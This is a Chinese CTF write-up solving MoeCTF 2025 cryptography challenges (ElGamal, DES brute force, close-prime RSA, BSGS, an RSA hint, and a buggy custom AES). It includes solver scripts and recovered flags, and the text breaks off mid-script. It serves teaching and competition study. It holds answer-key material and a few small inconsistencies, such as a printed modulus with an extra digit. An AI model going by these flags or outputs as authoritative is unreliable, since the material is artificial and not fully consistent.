排行榜

星澜音解出 118 道题中的 108 道,得分 16120 pts,排行全榜第 5,全校第 1。

提示

镜雨亭 内的 MoeCTF 2025 题解仅记录了每道题目的简要过程。如果你好奇做题过程中星澜音完整的思维链 一些绕得极为搞笑的弯路 与编写的 exploit 或 solver,可以看看星澜音于 GitHub 上提交的 完整题解

前言

to be done

密码学 Crypto

星澜音从来没有接触过密码学和相关领域,对常用的加密算法、数学原理之类的也是现学现用,所以密码学的这些题目做起来是相对困难的。😭但好在星澜音数学基础还算中等偏上,费力查阅资料后,也能理解个八九不离十。

✅ Crypto 入门指北

脚本的 generate_elgamal_keypair 实现了 ElGamal 加密算法。题目已经给出了私钥 x,我们便可以直接编写解密脚本以解密。关于这道题背后的原理,即群、裴蜀定理和 ElGamal 加密算法等的内容,星澜音写了一篇文章:

解密脚本及运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
"""crypto_beginning_solver.py

该 Python 脚本供 MoeCTF 2025 的 Crypto 赛道中,「Crypto 入门指北」题目使用。
由 星澜音 编写。
"""

from Crypto.Util.number import long_to_bytes

# 定义给定的数字 `p`, `x`, `c1` 和 `c2`
p = 11540963715962144951763578255357417528966715904849014985547597657698304891044841099894993117258279094910424033273299863589407477091830213468539451196239863
x = 8010957078086554284020959664124784479610913596560035011951143269559761229114027738791440961864150225798049120582540951874956255115884539333966429021004214
c1 = 6652053553055645358275362259554856525976931841318251152940464543175108560132949610916012490837970851191204144757409335011811874896056430105292534244732863
c2 = 2314913568081526428247981719100952331444938852399031826635475971947484663418362533363591441216570597417789120470703548843342170567039399830377459228297983

# 计算共享秘密 `s`
s = pow(c1, x, p)

# 计算 `s` 的模逆元(使用费马小定理)
s_inv = pow(s, p-2, p)

# 计算明文 `m`
m = (c2 * s_inv) % p

# 将 `m` 转换为字节序列 `flag`
flag = long_to_bytes(m)

print(flag)
1
b'moectf{th1s_1s_y0ur_f1rst_ElG@m@l}'

✅ ez_DES

脚本随机生成了一个以 ezdes 开头的 8 个字符的字符串,并以其作为 DES 密钥加密未完全给出的 flag。可以编写爆破脚本,使用 Crypto.Cipher 现有的 DES 算法来爆破 DES 密钥,并尝试解密密文 c

解密脚本及运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
"""ez_des_solver.py

该 Python 脚本供 MoeCTF 2025 的 Crypto 赛道中,「ez_DES」题目使用。
由 星澜音 在 Gemini 和 DeepSeek 的帮助下编写。
"""

import itertools
import string

from Crypto.Cipher import DES

# 定义给定的 `c`
c = b'\xe6\x8b0\xc8m\t?\x1d\xf6\x99sA>\xce \rN\x83z\xa0\xdc{\xbc\xb8X\xb2\xe2q\xa4"\xfc\x07'

# 构建与原脚本相同的字符集,并指定 DES 密钥的前缀
CHARACTERS = string.ascii_letters + string.digits + string.punctuation
PREFIX = "ezdes"
print("🥱 即将遍历全体可能的字符串,并将其作为 DES 密钥以尝试解密……")

for p in itertools.product(CHARACTERS, repeat=3):
try:
# 构造 DES 密钥
key_suffix = "".join(p)
key = (PREFIX + key_suffix).encode("utf-8")

# 尝试使用密钥解密 `c`
cipher = DES.new(key, DES.MODE_ECB)
decrypted_data = cipher.decrypt(c)

# 匹配解密结果
if decrypted_data.startswith(b"moectf{"):
print("\n😋 破解成功!")
print(f"👀 找到密钥: {key.decode('utf-8')}")

original_length = decrypted_data[-1]
flag = decrypted_data[:original_length]

print(f"👍 成功恢复 `flag`: {flag.decode('utf-8')}")
break

except Exception as e:
continue

else:
print("\n😢 破解失败,未找到正确的密钥。")
1
2
3
4
5
6
PS S:\MoeCTF\Crypto> python .\ez_des_brute_force.py
正在准备遍历全体可能的 DES 密钥……

😋 破解成功!
👀 找到密钥: ezdes8br
👍 成功恢复 `flag`: moectf{_Ju5t envmEra+e.!}

✅ baby_next

题目给出了一个自定义的 RSA 算法,并随机生成了一个 $512$ 位的素数作为 $p$,取 $q$ 为 $p$ 之后的第 $114,514$ 个质数。事实上,在数学上,我们可以认为:$q$ 和 $p$ 是非常接近的。

为何说 $q$ 和 $p$ 是非常接近的

提示

根据 素数定理,位于大小约为 $p$ 的素数的附近的 平均相邻素数间距 大约是 $\ln p$,因此对于相对小的 $k$ 和相对大的 $p$ 而言,$p$ 的第 $k$ 个后继素数的大致位置可以近似表示为 $p + k \ln p$。需要注意的是,这是平均意义上的估计,但对于题目中 $p$ 和 $q$ 的相对大小而言,已足够有参考价值。

对于题目生成的 $p \in (2^{511}, 2^{512})$,我们取中点量级 $2^{511.5}$,有

$$
\ln p \approx 511.5 \cdot \ln 2 \approx 354.54
$$

因此,$k = 114,514$ 时,$q$ 与 $p$ 的预期总距离约为

$$
k \ln p \approx 114,514 \times 354.54 \approx 4.0600 \times 10^7
$$

计算 $p$ 和 $q$ 的相对差 $\frac{q - p}{p} \approx 4 \times 10^{-147}$,这是极小的,因此我们可以认为 $p$ 和 $q$ 是非常接近的。

考虑到 $q$ 和 $p$ 非常接近,我们可以认为,其算术平均数 $a = \frac{p + q}{2}$ 和 $\sqrt{n}$ 也应该是非常接近的。再设 $b = \frac{q - p}{2}$,可以得到 $p = a - b$ 和 $q = a + b$,代入 $n$ 的计算公式有:

$$
n = p \times q = (a+b)(a-b) = a^2 - b^2
$$

也就是

$$
a^2 - n = b^2
$$

考虑到 $b$ 是正整数,所以 $a^2 - n$ 必须是一个完全平方数;考虑 $b$ 逐渐增大,即,使 $a$ 逐渐增大且 $a > b$,我们只需要从 $a = \lceil \sqrt{n} \rceil$ 开始向上迭代即可,找到一个完全平方的 $a^2 - n$,即成功分解了 $n$。

解密脚本及运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
"""baby_next_solver.py

该 Python 脚本供 MoeCTF 2025 的 Crypto 赛道中,「baby_next」题目使用。
由 星澜音 在 Gemini 和 DeepSeek 的帮助下编写。
"""

import gmpy2

from Crypto.Util.number import long_to_bytes

# 定义题目中的 `n`、`c` 和 `e`
n = 96742777571959902478849172116992100058097986518388851527052638944778038830381328778848540098201307724752598903628039482354215330671373992156290837979842156381411957754907190292238010742130674404082688791216045656050228686469536688900043735264177699512562466087275808541376525564145453954694429605944189276397
c = 17445962474813629559693587749061112782648120738023354591681532173123918523200368390246892643206880043853188835375836941118739796280111891950421612990713883817902247767311707918305107969264361136058458670735307702064189010952773013588328843994478490621886896074511809007736368751211179727573924125553940385967
e = 65537

a = gmpy2.isqrt(n)

# 校验 `a` 的初始值,使得初始的 `a` 满足 a^2 ≥ n,使得 `a` 从 `sqrt(n)` 向上取整后的值开始向上遍历
if a * a < n:
a = a + 1

# 开始遍历搜索 `a`
print("🔍 开始搜索 `a`……")
while True:
b_square = a * a - n
# 校验 `a^2 - n` 是否是完全平方的
if gmpy2.is_square(b_square):
print(f"😋 成功找到 a = {a}")
b = gmpy2.isqrt(b_square)
break
a += 1

# 计算 `p` 和 `q` 的值
p = a - b
q = a + b
print("👍 分解成功!")
print(f"p = {p}")
print(f"q = {q}")

# 确保分解正确
assert p * q == n

# 计算高斯函数并得到 `m`
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)

# 还原 `flag` 的值
flag = long_to_bytes(m)
print(f"👀 解密得到的 `flag` 是 {flag.decode()}")
1
2
3
4
5
6
7
PS S:\MoeCTF\Crypto> python .\baby_next_decode.py
🔍 开始搜索 `a`……
😋 成功找到 a = 9835790642950870702456388102541833011851580184211232019829465812360043670916676289614924432072209183922656300400121695605187082642402117584019839317552729
👍 分解成功!
p = 9835790642950870702456388102541833011851580184211232019829465812360043670916676289614924432072209183922656300400121695605187082642402117584019839297179867
q = 9835790642950870702456388102541833011851580184211232019829465812360043670916676289614924432072209183922656300400121695605187082642402117584019839337925591
👀 解密得到的 `flag` 是 moectf{vv0W_p_m1nu5_q_i5_r34l1y_sm4lI}

✅ ezBSGS

题目要求我们找到

$$
13^x = 114514 \pmod{100000000000099}
$$

中 $x$ 的最小值。按照常理,$x$ 的值应当不小,使用普通枚举法是困难的。在这里,我们使用 Baby-Step Giant-Step (BSGS) 算法解决这道题目。关于 BSGS 算法,可以参考星澜音所写的文章

解密脚本及运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
"""ezBSGS_solver.py

该 Python 脚本供 MoeCTF 2025 的 Crypto 赛道中,「ezBSGS」题目使用。
由 星澜音 在 Gemini 和 DeepSeek 的帮助下编写。
"""

import math


def bsgs(a: int, b: int, p: int) -> int | None:
"""该函数使用 Baby-Step Giant-Step 算法解决 `a^x equiv b (mod p)` 问题。

Args:
a (int): 底数
b (int): 结果
p (int): 模数

Returns:
int | None: 返回计算出的 `x`。若未计算出 `x`,则返回 `None`。
"""

# 计算 Giant-Step 行动一次的前进次数,使用 `m = ceil(sqrt(p))`
m = int(math.sqrt(p)) + 1
print(f"👣 计算得到 Giant-Step 行动一次,前进的次数为 {m}\n")

# 计算 Baby-Step 的前进,并计入哈希表
print("========== 下面开始 Baby-Step 的前进 ==========")
baby_steps = {}
val = b
for j in range(m):
# `baby_steps` 的键是位置 `(b * a^j) mod p`,值是前进次数 `j`
baby_steps[val] = j
val = (val * a) % p
print(f"😋 已完成 {len(baby_steps)} 次 Baby-Step 前进,并将结果存入哈希表。\n")

# 计算 Giant-Step 的行动,并检索哈希表以尝试匹配
print("========== 下面开始 Giant-Step 的行动 ==========")

# 计算 Giant-Step 的第 1 次行动
giant_stride = pow(a, m, p)
giant_val = giant_stride
for i in range(1, m + 1):
# 在哈希表中查找当前 Giant-Step 前进到的位置
if giant_val in baby_steps:
j = baby_steps[giant_val]
x = i * m - j
print(f"😰 在第 i = {i} 次 Giant-Step 行动时匹配成功!")
print(f"😎 Giant-Step 计算结果: {giant_val}")
print(f"👀 哈希表中匹配的 Baby-Step 前进次数: {j}")
print(f"🥰 计算最终解 x = {i} * {m} - {j} = {x}")
return x

# 若匹配失败,则继续查找
giant_val = (giant_val * giant_stride) % p

# 如果循环结束仍未匹配成功,则可能无解
return None


if __name__ == "__main__":
# 定义 `BASE`、`RESULT` 和 `MODULUS` 的值
BASE = 13
RESULT = 114514
MODULUS = 100000000000099

print("将使用下面的参数,以 BSGS 算法求解目标的 `x`:")
print(f"a = {BASE}")
print(f"b = {RESULT}")
print(f"p = {MODULUS}")
print("🤔 正在求解,请等待……\n")

# 调用 BSGS 算法求解
x = bsgs(BASE, RESULT, MODULUS)

print("\n================ 🧮 最终结果 ⏱️ ================")
if x is not None:
print(f"🎮 方程的解 x = {x}\n")

# 验证结果
print("================= 🔍 验证解 🤔 =================")
verification = pow(BASE, x, MODULUS)
print(f"计算 {BASE}^{x} mod {MODULUS}……")
print(f"计算结果: {verification}")
print(f"目标结果: {RESULT}")
if verification == RESULT:
print(f"✅ 验证成功!方程的解确为 {x}。\n")
print("`flag`: moectf{" + str(x) + "}")
else:
print("❌ 验证失败。\n")
else:
print("😭 方程无解。\n")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
PS S:\MoeCTF_2025_writeup\writeup\crypto\problems_and_solutions\ezBSGS> python .\ezBSGS_solver.py
将使用下面的参数,以 BSGS 算法求解目标的 `x`:
a = 13
b = 114514
p = 100000000000099
🤔 正在求解,请等待……

👣 计算得到 Giant-Step 行动一次,前进的次数为 10000001

========== 下面开始 Baby-Step 的前进 ==========
😋 已完成 10000001 次 Baby-Step 前进,并将结果存入哈希表。

========== 下面开始 Giant-Step 的行动 ==========
😰 在第 i = 1827217 次 Giant-Step 行动时匹配成功!
😎 Giant-Step 计算结果: 30358557215417
👀 哈希表中匹配的 Baby-Step 前进次数: 9455932
🥰 计算最终解 x = 1827217 * 10000001 - 9455932 = 18272162371285

================ 🧮 最终结果 ⏱️ ================
🎮 方程的解 x = 18272162371285

================= 🔍 验证解 🤔 =================
计算 13^18272162371285 mod 100000000000099……
计算结果: 114514
目标结果: 114514
✅ 验证成功!方程的解确为 18272162371285。

`flag`: moectf{18272162371285}

✅ ezsquare

题目脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from secret import flag

from Crypto.Util.number import *

assert len(flag) == 35
assert flag[:7] == b"moectf{"
assert flag[-1:] == b"}"


def main():
p = getPrime(512)
q = getPrime(512)

n = p * q
e = 65537

m = bytes_to_long(flag)

c = pow(m, e, n)
hint = pow(p + q, 2, n)

print(f"{n = }")
print(f"{c = }")
print(f"{hint = }")


if __name__ == "__main__":
main()

"""
n = 83917281059209836833837824007690691544699901753577294450739161840987816051781770716778159151802639720854808886223999296102766845876403271538287419091422744267873129896312388567406645946985868002735024896571899580581985438021613509956651683237014111116217116870686535030557076307205101926450610365611263289149
c = 69694813399964784535448926320621517155870332267827466101049186858004350675634768405333171732816667487889978017750378262941788713673371418944090831542155613846263236805141090585331932145339718055875857157018510852176248031272419248573911998354239587587157830782446559008393076144761176799690034691298870022190
hint = 5491796378615699391870545352353909903258578093592392113819670099563278086635523482350754035015775218028095468852040957207028066409846581454987397954900268152836625448524886929236711403732984563866312512753483333102094024510204387673875968726154625598491190530093961973354413317757182213887911644502704780304
"""

这里给出题目脚本。我们将在下文沿用脚本中的记号 $p$、$q$、$n$、$e$、$m$ 和 $c$,并简记 hint 为 $h$。

我们最终的目标是解出 $m$,根据先前的讨论,我们需要先解出 $p$ 和 $q$ 的值。考虑到我们已知二者的乘积 $n$,这自然让我们想到:若能求出二者的和,则可以使用 一元二次方程求根公式 得到 $p$ 和 $q$,那么求解 $m$ 即水到渠成。

观察题目中给出的 $h$ 的计算方法:

$$
h = (p + q)^2 \bmod n
$$

这意味着 $\exists k \in \mathbb{Z}_+$,使得

$$
(p + q)^2 = k \cdot n + h
$$

其中 $n, h$ 均为已知数。考虑到 $p$ 和 $q$ 均为 getPrime 函数生成的大素数,且 $2^{511} < p < 2^{512}, 2^{511} < q < 2^{512}$,若 $p = q$ 则必有 $h = 0$,故不妨设 $p < q$,则

$$
1 < \frac{q}{p} < 2
$$

这说明,我们总能通过对 $k$ 进行有限次数的枚举,以计算出 $p + q$ 的值。同时,我们由基本不等式可知

$$
(p + q)^2 > (2 \sqrt{ab})^2 = 4 ab = 4n
$$

(不取等是因为 $p \neq q$)$k$ 的值最小应为 $4$。所以,我们由 $k = 4$ 开始向上遍历即可。

为何不分解 $h$?

读者可能会从分解 $h$ 的角度出发。事实上,我们确可以发现 $h$ 是一个完全平方数,只需注意到

$$
\begin{align*}
\sqrt{h} = 2,
&343,458,209,274,425,996,985,047,093,820,\\
&966,198,128,351,630,302,072,151,512,123,\\
&489,799,998,738,482,601,894,111,632,387,\\
&083,653,590,921,895,308,705,989,628,111,\\
&300,210,058,143,690,024,967,352,474,744,452
\end{align*}
$$

算出来自己笑了没🤣

但是我们之前讨论过了必须有 $k \geq 4$,所以分解 $h$ 没用,因为它对应 $k = 0$ 的情况。

解密脚本及运行结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
"""ez_square_solver.py

该 Python 脚本供 MoeCTF 2025 的 Crypto 赛道中,「ez_square」题目使用。
由 星澜音 编写。
"""

import math

import gmpy2
from Crypto.Util.number import long_to_bytes

# 定义给出的 `n`、`c`、`hint` 和 `e`
n = 83917281059209836833837824007690691544699901753577294450739161840987816051781770716778159151802639720854808886223999296102766845876403271538287419091422744267873129896312388567406645946985868002735024896571899580581985438021613509956651683237014111116217116870686535030557076307205101926450610365611263289149
c = 69694813399964784535448926320621517155870332267827466101049186858004350675634768405333171732816667487889978017750378262941788713673371418944090831542155613846263236805141090585331932145339718055875857157018510852176248031272419248573911998354239587587157830782446559008393076144761176799690034691298870022190
hint = 5491796378615699391870545352353909903258578093592392113819670099563278086635523482350754035015775218028095468852040957207028066409846581454987397954900268152836625448524886929236711403732984563866312512753483333102094024510204387673875968726154625598491190530093961973354413317757182213887911644502704780304
e = 65537


def is_perfect_square(number: int) -> bool:
"""该函数检验传入的 `n` 是否为完全平方数。

Args:
n (int): 待检验的整数。

Returns:
bool: 是否为完全平方数。
"""
if number < 0:
return False
sqrt = math.isqrt(number)
return sqrt * sqrt == number


# 验证 `S^2 = k*n + hint` 是否是完全平方数
# 由先前的分析,这里的 `k` 从 `4` 开始取
print("😋 即将开始破解 S = (p+q) 的值。\n")
k = 4
while True:
print(f"✍️ 现在尝试 k = {k} 的情况……")
current_s_square = k * n + hint
if is_perfect_square(current_s_square):
print(f"\n😎 已找到 k = {k} 使得 (k*n + hint) 为完全平方数!\n")
break
k = k + 1

# 验证完成后,保留 S^2 的值
print(f"✍️ 下面我们以 k = {k} 计算 S^2。")
s_square = k * n + hint
s = math.isqrt(s_square)
assert s**2 == s_square
print(f"😎 得到 S^2 的值为 {s_square}\n")

# 使用求根公式得到 p 和 q 的值
print("✍️ 这里我们假定 p < q,使用一元二次方程求根公式得到:")
inner_value = s_square - 4 * n
inner_value_sqrt = math.isqrt(inner_value)
assert inner_value_sqrt**2 == inner_value
p = (s - inner_value_sqrt) // 2
q = (s + inner_value_sqrt) // 2
print(f"p 为 {p}\nq 为 {q}\n")

# 计算 n 和 phi(n) 以及逆元 d
n = p * q
print(f"✍️ 计算得到乘积 n = {n}\n")
phi_n = (p - 1) * (q - 1)
print(f"✍️ 计算欧拉函数 phi(n) = {phi_n}\n")
d = gmpy2.invert(e, phi_n)
print(f"✍️ 计算得到逆元 d = {d}\n")
m = pow(c, d, n)

# 解密 `flag`
flag = long_to_bytes(m)
print(f"🤔 得到了 `flag` 的数值形式为 {m}")
print(f"😎 解密得到的 `flag` 是 {flag.decode()}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PS S:\MoeCTF_2025_writeup\writeup\crypto\problems_and_solutions\ez_square> python .\ez_square_solver.py
😋 即将开始破解 S = (p+q) 的值。

✍️ 现在尝试 k = 4 的情况……

😎 已找到 k = 4 使得 (k*n + hint) 为完全平方数!

✍️ 下面我们以 k = 4 计算 S^2。
😎 得到 S^2 的值为 341160920615455046727221841383116676082058185107901569916776317463514542293762606349463390642226334101447331013748038141618095449915459667608137074320591245224329145033774441198863295191676456574806412099041081655430035776596658427500482701674211070063359658012840102095582718546577589919690353106947757936900

✍️ 这里我们假定 p < q,使用一元二次方程求根公式得到:
p 为 8063541879684999172434156846785579383392012202377476576385935453837904086104134169422578105606735811577484535836740321806192056243591239447944792906642589
q 为 10407000088959425169419203940606545581520363832679548727898058943637902824586736063534210492690389402499379844542729949917492266301734929472912145381387041

✍️ 计算得到乘积 n = 839172810592098368338378240076906915446999017535772944507391618409878160517817707167781591518026397208548088862239992961027668458764032715538287419091422744267873129896312388567406645946985868002735024896571899580581985438021613509956651683237014111116217116870686535030557076307205101926450610365611263289149

✍️ 计算欧拉函数 phi(n) = 83917281059209836833837824007690691544699901753577294450739161840987816051781770716778159151802639720854808886223999296102766845876403271538287419091422725797331161251888046714045858554860903090358989839546595296587587962214702819086418726448415813991003040006306155560285352622882556600281689508672975259520

✍️ 计算得到逆元 d = 15793151114397884057990993199427147863227315687758401357331230024974346143135577765548343912268394316447551960002545238844187653951806734381391229794980055540904871185449244978730207660034093393296729796618211184340316308740957696730272801196496035060576948829482279058860789161094243757081867622869104122113

🤔 得到了 `flag` 的数值形式为 830454077261400323529837823102615274245009794059333438268265634706009918318016885885
😎 解密得到的 `flag` 是 moectf{Ma7hm4t1c5_is_@_k1nd_0f_a2t}

✅ ez_AES

是一个自定义的 AES 脚本,但不难发现,给出的脚本在 shift_rows 处存在 bug:

1
2
3
4
def shift_rows(grid):
for i in range(4):
grid[i::4] = grid[i::4][i:] + grid[i::4][:i]
grid = grid[0::4] + grid[1::4] + grid[2::4] + grid[3::4]

bug 具体出现在行 grid = grid[0::4] + grid[1::4] + grid[2::4] + grid[3::4]

shift_rows 函数在第一次循环之前,grid 指向的是传入的 bytearray。第一次 grid[i::4] = ... 确会改变传入的 bytearray,但随后 grid 被重新绑定为一个新列表;后续循环对 grid 的修改仅发生在这个新列表上,而不会作用到原始 bytearray 上。这导致传入的 bytearray 仅在 i=0 次的 slice 赋值时被改动,而 i=0 的旋转本身则为 rotate by 0,导致 shift_rows 实质上变成了 no-op。也就是说,该 AES 算法根本就没有进行 shift_rows 操作。

故我们只需在自定义的 AES 解密脚本中 passshift_rows 即可。

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
#!/usr/bin/env python3
# decrypt_challenge.py
# 解密题目里那个「类 AES,但有 bug」的实现。
# 默认直接使用题目中透露的 key 与 ciphertext。
#
# 使用:
# python decrypt_challenge.py
# 或传入十六进制密文:
# python decrypt_challenge.py <hex_ciphertext>
#
# 输出:解密后的明文(去除末尾 0x00 填充)。

from typing import List

# === S-box / inverse S-box(与题目一致) ===
s_box = [
[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76],
[0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0],
[0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15],
[0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75],
[0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84],
[0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf],
[0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8],
[0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2],
[0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73],
[0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb],
[0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79],
[0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08],
[0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a],
[0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e],
[0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf],
[0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
]

s_box_inv = [
[0x52,0x09,0x6a,0xd5,0x30,0x36,0xa5,0x38,0xbf,0x40,0xa3,0x9e,0x81,0xf3,0xd7,0xfb],
[0x7c,0xe3,0x39,0x82,0x9b,0x2f,0xff,0x87,0x34,0x8e,0x43,0x44,0xc4,0xde,0xe9,0xcb],
[0x54,0x7b,0x94,0x32,0xa6,0xc2,0x23,0x3d,0xee,0x4c,0x95,0x0b,0x42,0xfa,0xc3,0x4e],
[0x08,0x2e,0xa1,0x66,0x28,0xd9,0x24,0xb2,0x76,0x5b,0xa2,0x49,0x6d,0x8b,0xd1,0x25],
[0x72,0xf8,0xf6,0x64,0x86,0x68,0x98,0x16,0xd4,0xa4,0x5c,0xcc,0x5d,0x65,0xb6,0x92],
[0x6c,0x70,0x48,0x50,0xfd,0xed,0xb9,0xda,0x5e,0x15,0x46,0x57,0xa7,0x8d,0x9d,0x84],
[0x90,0xd8,0xab,0x00,0x8c,0xbc,0xd3,0x0a,0xf7,0xe4,0x58,0x05,0xb8,0xb3,0x45,0x06],
[0xd0,0x2c,0x1e,0x8f,0xca,0x3f,0x0f,0x02,0xc1,0xaf,0xbd,0x03,0x01,0x13,0x8a,0x6b],
[0x3a,0x91,0x11,0x41,0x4f,0x67,0xdc,0xea,0x97,0xf2,0xcf,0xce,0xf0,0xb4,0xe6,0x73],
[0x96,0xac,0x74,0x22,0xe7,0xad,0x35,0x85,0xe2,0xf9,0x37,0xe8,0x1c,0x75,0xdf,0x6e],
[0x47,0xf1,0x1a,0x71,0x1d,0x29,0xc5,0x89,0x6f,0xb7,0x62,0x0e,0xaa,0x18,0xbe,0x1b],
[0xfc,0x56,0x3e,0x4b,0xc6,0xd2,0x79,0x20,0x9a,0xdb,0xc0,0xfe,0x78,0xcd,0x5a,0xf4],
[0x1f,0xdd,0xa8,0x33,0x88,0x07,0xc7,0x31,0xb1,0x12,0x10,0x59,0x27,0x80,0xec,0x5f],
[0x60,0x51,0x7f,0xa9,0x19,0xb5,0x4a,0x0d,0x2d,0xe5,0x7a,0x9f,0x93,0xc9,0x9c,0xef],
[0xa0,0xe0,0x3b,0x4d,0xae,0x2a,0xf5,0xb0,0xc8,0xeb,0xbb,0x3c,0x83,0x53,0x99,0x61],
[0x17,0x2b,0x04,0x7e,0xba,0x77,0xd6,0x26,0xe1,0x69,0x14,0x63,0x55,0x21,0x0c,0x7d]
]

# === rcon(题目里的“轮常数”) ===
rc = [0x12,0x23,0x34,0x45,0x56,0x67,0x78,0x89,0x9a,0xab,0xbc,0xcd,0xde,0xef,0xf1]

# === GF(2^8) 乘法(用于 inv_mix_columns) ===
def mul(a: int, b: int) -> int:
res = 0
A = a
B = b
for _ in range(8):
if B & 1:
res ^= A
carry = A & 0x80
A = (A << 1) & 0xff
if carry:
A ^= 0x1b
B >>= 1
return res

# mul_by_2 仅为 mix_column 的辅助(题目用的实现)
def mul_by_2(n: int) -> int:
s = (n << 1) & 0xff
if n & 0x80:
s ^= 0x1b
return s

# === 题目实现的变体(与题目代码功能等价) ===
def sub_bytes(state: bytearray):
for i, v in enumerate(state):
state[i] = s_box[v >> 4][v & 0xf]

def inv_sub_bytes(state: bytearray):
for i, v in enumerate(state):
state[i] = s_box_inv[v >> 4][v & 0xf]

# 注意:题目中的 shift_rows 实际上因为 rebind 导致对原 bytearray 基本没有影响。
# 在解密过程中我们**按题目行为**处理:即对原 state 不做 shift_rows(等同于 no-op)。
def shift_rows_noop(state: bytearray):
# intentionally no-op for original 'state' (mirrors buggy behavior)
return

def inv_shift_rows_noop(state: bytearray):
return

def mix_column(c: List[int]) -> List[int]:
a0,a1,a2,a3 = c
return [
mul_by_2(a0) ^ (a1 ^ mul_by_2(a1)) ^ a2 ^ a3,
a0 ^ mul_by_2(a1) ^ (a2 ^ mul_by_2(a2)) ^ a3,
a0 ^ a1 ^ mul_by_2(a2) ^ (a3 ^ mul_by_2(a3)),
(a0 ^ mul_by_2(a0)) ^ a1 ^ a2 ^ mul_by_2(a3)
]

def inv_mix_column(c: List[int]) -> List[int]:
a0,a1,a2,a3 = c
return [
mul(a0,14) ^ mul(a1,11) ^ mul(a2,13) ^ mul(a3,9),
mul(a0,9) ^ mul(a1,14) ^ mul(a2,11) ^ mul(a3,13),
mul(a0,13) ^ mul(a1,9) ^ mul(a2,14) ^ mul(a3,11),
mul(a0,11) ^ mul(a1,13) ^ mul(a2,9) ^ mul(a3,14),
]

def mix_columns(state: bytearray):
for i in range(0,16,4):
state[i:i+4] = bytes(mix_column(list(state[i:i+4])))

def inv_mix_columns(state: bytearray):
for i in range(0,16,4):
state[i:i+4] = bytes(inv_mix_column(list(state[i:i+4])))

# === key expansion(严格按题目代码复现) ===
def key_expansion(key_bytes: bytes) -> bytes:
grid = bytearray(key_bytes)
# 题目实现的循环次数是 10*4(对应生成 10 轮的 4-word)
for i in range(10 * 4):
r = list(grid[-4:])
if i % 4 == 0:
# rotate and sbox and rcon (题目写法)
r = r[1:] + r[:1]
for j, v in enumerate(r):
